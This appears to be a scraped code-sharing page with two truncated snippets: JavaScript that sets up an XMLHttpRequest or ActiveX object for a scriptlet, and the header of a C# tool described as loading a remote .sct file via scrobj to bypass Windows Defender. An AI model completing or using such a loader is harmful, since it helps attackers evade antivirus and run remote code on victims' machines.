This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function createXmlHttp() { | |
if (window.XMLHttpRequest) { | |
xmlHttp = new XMLHttpRequest() | |
} else { | |
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); | |
for (var n = 0; n < MSXML.length; n++) { | |
try { | |
xmlHttp = new ActiveXObject(MSXML[n]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Author: REInject | |
* Usage: scrobj-call-csharp.exe http://127.0.0.1/test.sct | |
* Link: https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/ | |
*/ | |
using System; | |
using System.Runtime.InteropServices; | |
using System.ComponentModel; |